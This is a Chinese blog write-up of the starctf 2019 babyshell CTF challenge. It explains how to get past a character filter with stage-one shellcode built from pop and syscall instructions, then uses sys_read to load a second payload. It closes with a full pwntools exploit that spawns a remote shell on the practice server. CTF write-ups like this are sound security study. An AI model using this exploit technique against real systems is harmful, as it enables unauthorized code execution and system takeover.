Loading... 这道题目很有意思,我很喜欢 ### 分析 流程很简单 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/4219005715.png "></div> 这里读入一段,然后 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/3263974866.png "></div> 进入这样一个判断,做的事就是对我们输入的串中的每个字母在 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/2466175477.png "></div> 这个字符串里找匹配,如果每个都能匹配到,就执行我们输入的字符串(shellcode)。之前我也做的过类似的[题目](https://www.cjovi.icu/WP/buu-mrctf2020_shellcode_revenge-wp%E5%8F%AF%E8%A7%81%E5%AD%97%E7%AC%A6shellcode.html),那道是可见字符shellcode,比这道题要求松一些,也有现成的工具。遗憾的是,本题没有工具生成,不会,看wp。 ### 解法 解决的方法是硬凑。也确实,我们看到字符串里说here is a gift,后面是一个奇怪的东西,就应该考虑把它转成汇编试试。IDA里面是这样做的 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/4275095227.png "></div> 先想红圈里面那样选中区域,然后edit里面选code,之后会跳出一个警告,选`force`让他强制转就行了。 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/322937618.png "></div> 发现有一个`syscall`,也就是说我们可以在code里面加`syscall`,顺着这个思路我们考虑把所有的都转成汇编试试 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/746697380.png "></div> 发现我们可以用这俩 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/2553600692.png"></div> 然后在`call rdx`之前eax又被置成了0,这是`sys_read`的调用号,所以我们就可以考虑构造`sys_read`来补充shellcode实现getshell,也就是说再read一次,此时rsi仍然指向`buf`,所以我们补充的shellcode可以直接被执行 <div style="text-align: center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/13091707.png "></div> 这俩数就可以做rdx和rdi的值,所以 ### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = 'debug',os = 'linux',arch = 'amd64') payload = asm("pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;syscall") #sh = process("./starctf_2019_babyshell") sh = remote("node3.buuoj.cn",28335) sh.sendlineafter("plz:\n",payload) sh.sendline('a' * 0xc + asm(shellcraft.sh())) sh.interactive() ``` 没有独立想到还是有些许遗憾的 最后修改:2021 年 01 月 10 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 1 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧